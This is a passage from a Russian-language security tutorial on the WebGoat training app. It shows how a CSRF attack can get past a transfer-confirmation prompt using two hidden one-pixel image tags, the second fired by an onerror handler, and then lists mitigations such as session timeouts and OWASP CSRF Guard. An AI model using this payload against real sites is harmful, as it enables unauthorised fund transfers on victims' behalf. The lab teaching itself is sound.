Ра­зу­ме­ет­ся, мно­гие сай­ты тре­бу­ют от поль­зо­ва­те­ля для вы­полнения ка­ко­го-то дей­ст­вия не про­сто од­но­го щелч­ка. В пре­ды­ду­щем при­ме­ре банк вряд ли по­зво­лит вам пе­ре­вес­ти день­ги со сче­та, хо­тя бы не за­про­сив под­твер­ждения, что вы хо­ти­те это сде­лать. К сча­стью для ата­кую­ще­го, есть спо­соб обой­ти и это. Так как под­твер­ждение – лишь еще один за­прос HTTP GET, оста­ет­ся толь­ко от­пра­вить его. Это немно­го сложнее, так как вто­рой за­прос надо от­пра­вить в долж­ный мо­мент; но мы мо­жем сде­лать это, со­об­щив поль­зо­ва­те­лю, что пер­вое изо­бра­жение за­гру­зить не уда­лось. HTTP-за­прос зло­умыш­ленника вернет HTML-до­ку­мент, а не изо­бра­жение, и при по­пы­тке его за­гру­зить брау­зер вы­даст ошиб­ку. С по­мо­щью HTML мож­но ука­зать, что дол­жен де­лать брау­зер при возник­но­вении ошиб­ки, и мы ве­лим ему за­гру­зить вто­рое изо­бра­жение, так­же раз­ме­ром в один пик­сель, для вы­полнения HTTP-за­про­са, ко­то­рый вы­полнит под­твер­ждение. Пе­рей­ди­те в CSRF Prompt By-Pass [Об­ход пред­ло­жения о под­твер­ждении], вве­ди­те за­го­ло­вок «То-то по­ве­се­лим­ся» и со­об­щение:

LOL catz.

<img src=”http://localhost:8080/webgoat/attack?Screen=82& menu=900&transferFunds=4000” onerror=”document.

getElementById(‘image2’).src=’http://localhost:8080/webgoat/ attack?Screen=82&menu=900&transferFunds=CONFIRM’” width=”1” height=”1” />

<img id=”image2” width=”1” height=”1” />

Сни­же­ние рис­ка

Су­ще­ст­ву­ет несколь­ко спо­со­бов снизить риск атак с под­держ­кой меж­сай­то­вых за­про­сов. Так как для их вы­полнения поль­зо­ва­тель дол­жен быть в сис­те­ме, мож­но снизить ве­ро­ят­ность атак, ав­то­ма­ти­че­­ски от­клю­чая поль­зо­ва­те­ля по­сле неко­то­ро­го пе­рио­да без­дей­ст­вия. Кро­ме то­го, мож­но восполь­зо­вать­ся CSRF Guard, ко­то­рый мож­но най­ти на сай­те www.owasp.org/index.php/PHP_CSRF_Guard.

SQL-инъ­ек­ция и XSS – лишь две раз­но­вид­но­сти атак на сай­ты. В WebGoat есть при­ме­ры мно­гих дру­гих. Восполь­зуй­тесь ссыл­ка­ми Hints и Solutions в верхней час­ти страницы с уро­ка­ми. За­щи­та ва­ше­го сай­та от та­ких атак обыч­но сво­дит­ся к кор­рект­ной ва­ли­да­ции и эк­раниро­ванию по­тен­ци­аль­но опас­ных сим­во­лов. Не­сколь­ко при­ме­ров атак мож­но най­ти в раз­де­ле Applications > Internet > Web App Testing Tools [При­ло­жения > Ин­тернет > Ути­ли­ты для тес­ти­ро­вания web-при­ло­жений], и с их по­мо­щью про­ве­рить, ра­бо­та­ет ли ва­ша за­щи­та. Под­роб­ную ин­фор­ма­цию о долж­ных ме­рах за­щи­ты мож­но най­ти на сай­те www.owasp.org/index.php/Cheat_Sheets. |

Персональные инструменты
купить
подписаться
Яндекс.Метрика